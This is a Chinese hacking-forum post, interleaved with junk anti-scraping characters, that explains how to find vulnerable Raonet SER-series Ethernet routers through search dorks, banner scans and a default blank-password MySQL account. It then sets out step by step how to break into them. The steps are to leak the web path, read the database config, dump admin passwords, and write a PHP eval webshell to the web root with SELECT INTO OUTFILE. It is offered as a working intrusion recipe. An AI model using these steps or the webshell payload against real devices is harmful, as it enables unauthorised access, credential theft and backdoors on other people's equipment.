寻找存在漏洞的路由器方法：4 Q0 K6 t/ L7 o- p8 b2 {$ E
6 @7 r' v9 O2 e# i1：google搜索'Raonet Subscriber Ethernet Router'
& C# n) b2 j' x" q- e
# P. h6 z; h. u# |* M! i2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001, x- ]4 Y. Y' T' N1 D6 u8 k
+ X: _, f4 Y8 o. l% F' c3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。1 J: g$ e7 S" w; e( U9 c6 h( F
, {3 b* _, E0 L5 q; z8 z7 E1 }$ h ^//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......% z; r. i, _1 P3 K! A# S2 `
( A0 V: l) ~8 U% P: k3 S
; P) A j4 Y# \% I' A9 w* A( X/ I
, ~8 X5 L! k, d) K b2 R入侵步骤：
& i% u7 X3 ]1 y4 w Z- [" s7 O
9 \( @8 T5 Q$ x! Q' Y# l6 ]! ^1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php8 c* N+ v9 J$ Y5 I, i- I5 r
5 y5 Q& M- }+ C, [
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
, e$ D: H* z" W* r& S/ u0 E; y3：得到密码后连接，查看GUI管理密码：' y8 U9 g2 P& S0 I8 Z; p, L. Z6 [
use ser_500
2 d' |- I; p# N! ^select id,passwd from user;6 V2 J$ J4 h+ p8 n& `2 g' r
4:通过数据库写入webshell，执行命令：% n6 A* b3 X- C* E+ Z+ M; H/ @! y7 e
use mysql;, |, a; [7 v) H0 x( v( n6 l1 Y) a4 H
create table ok(cmd TEXT);! W3 }) p& i7 d9 x
insert into ok values("<?php @eval($_POST[cmd])?>");
6 {; x4 W( j. [select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
: C, k% q. a; v f2 edrop table ok;$ A& _0 d; d7 [
8 x _& n; }) r+ Y7 @ k F w
5:连接后门shell.php $ s0 F3 q. L5 H$ f
0 t% u% S2 B2 w! B: W9 z) Q6. 搞定！+ w5 U) H8 w& j0 R/ o
! o. K t$ i7 E3 [7 F9 }3 A
|
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50